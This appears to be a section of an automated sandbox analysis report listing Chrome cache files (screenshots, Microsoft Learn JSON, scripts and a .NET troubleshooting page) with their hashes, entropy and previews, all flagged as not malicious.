Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	downloaded
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.029026183/scripts/en-us/index-docs.js
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/breadcrumb/toc.json
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 69

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 70

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 71

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-no-resolution.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 72

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 73

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 74

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 75

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.875
Encrypted:	false
SSDEEP:	3:HMB:k
MD5:	0B04EA412F8FC88B51398B1CBF38110E
SHA1:	E073BCC5A03E7BBA2A16CF201A3CED1BE7533FBF
SHA-256:	7562254FF78FD854F0A8808E75A406F5C6058B57B71514481DAE490FC7B8F4C3
SHA-512:	6D516068C3F3CBFC1500032E600BFF5542EE30C0EAC11A929EE002C707810BBF614A5586C2673EE959AFDF19C08F6EAEFA18193AD6CEDC839BDF249CF95E8079
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISEAkEurwx6c-nJBIFDb_mJfI=?alt=proto
Preview:	CgkKBw2/5iXyGgA=

Chrome Cache Entry: 76

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	27868
Entropy (8bit):	5.155680085584642
Encrypted:	false
SSDEEP:	768:63ZUfTvLg6jLjnjrjGjXMQjtzjMFzXY8v1gWj/rlOVqnACpK3o3hhl0OU2/8BlsX:BTvL7HBJv11pOVqlh382/rIN1Y
MD5:	0A0F2E1CCB8E5F7C38CB11B101A8941F
SHA1:	112F4B7CB3DEDB9D9744CAC000E05DC949E89891
SHA-256:	DBDB03D01BA044C4072BBC169C1E54D05A3D89623D2EBEAC28AC89ABDA3ABC2A
SHA-512:	9BD4E9C2415FB62E55D04DDEB9ECE04CB9AE2B8F8B93632A11A0AFD1CE6A632DF7D58DD571BF34C6E8E99107E80340CFAFF4BB4A8E18D05B5CAA7445DE55839C
Malicious:	false
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	downloaded
Size (bytes):	179335
Entropy (8bit):	5.435182897681627
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVa:Wof3G0NSkNzMeO7z/l3a
MD5:	517954FBCEBC2B0669606202492A4888
SHA1:	404819BEF2964D493DF3CB29102719025BEA48AF
SHA-256:	211DF9427FF68A7AA97490D30BABCEC089295E6219D461DD2946D24FE919DAEF
SHA-512:	21F79D8CB099D874CB2AD32BCE04ADBDE919F3499363E51FE875C0EB409A4EEF555F349351DAB84E39214E26F5320E6E472C0A6A7C06A4CA9EFD1421174CA0C3
Malicious:	false
URL:	https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (639), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	47062
Entropy (8bit):	5.016149588804727
Encrypted:	false
SSDEEP:	768:haAq16LIElO6L6x2bTI1ln4a1T0MCFnFMBVeZrdLg:hTKGLlO6eAbTIr4audZqBkZRLg
MD5:	1FF4CE3C1DB69A5146B03AD8BE62F5EB
SHA1:	5D177F6D11FCFF2BD62E61983383BB39D9F045E4
SHA-256:	222F320F99EF710DCE98F125314F30DAC99CF408525D86F185B317A878D48A5C
SHA-512:	36D198120D83AA9BDC2E74F80B99E2219EE4F03A8DD93A1E58A9E30BD48E829E5220A9F5FE6FC29B3810ED85005A8DCD0EAD04EE06DCCD0A15CD6D080E88641D
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=GxX48twWHA.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Preview:	<!DOCTYPE html><html..class="hasSidebar hasPageActions hasBreadcrumb conceptual has-default-focus theme-light"..lang="en-us"..dir="ltr"..data-authenticated="false"..data-auth-status-determined="false"..data-target="docs"..x-ms-format-detection="none">..<head>..<meta charset="utf-8" />..<meta name="viewport" content="width=device-width, initial-scale=1.0" />..<meta property="og:title" content="Fix .NET Framework 'This application could not be started' - .NET Framework" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started" /><meta property="og:description" content="Learn what to do if you see a 'This application could not be started' dialog box when running a .NET Framework application." /><meta property="og:image" content="https://learn.microsoft.com/dotnet/media/dotnet-logo.png" />...<meta property="og:image:alt" content="Fix .NET Framework 'This application could not be st

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	27868
Entropy (8bit):	5.155680085584642
Encrypted:	false
SSDEEP:	768:63ZUfTvLg6jLjnjrjGjXMQjtzjMFzXY8v1gWj/rlOVqnACpK3o3hhl0OU2/8BlsX:BTvL7HBJv11pOVqlh382/rIN1Y
MD5:	0A0F2E1CCB8E5F7C38CB11B101A8941F
SHA1:	112F4B7CB3DEDB9D9744CAC000E05DC949E89891
SHA-256:	DBDB03D01BA044C4072BBC169C1E54D05A3D89623D2EBEAC28AC89ABDA3ABC2A
SHA-512:	9BD4E9C2415FB62E55D04DDEB9ECE04CB9AE2B8F8B93632A11A0AFD1CE6A632DF7D58DD571BF34C6E8E99107E80340CFAFF4BB4A8E18D05B5CAA7445DE55839C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/banners/index.json
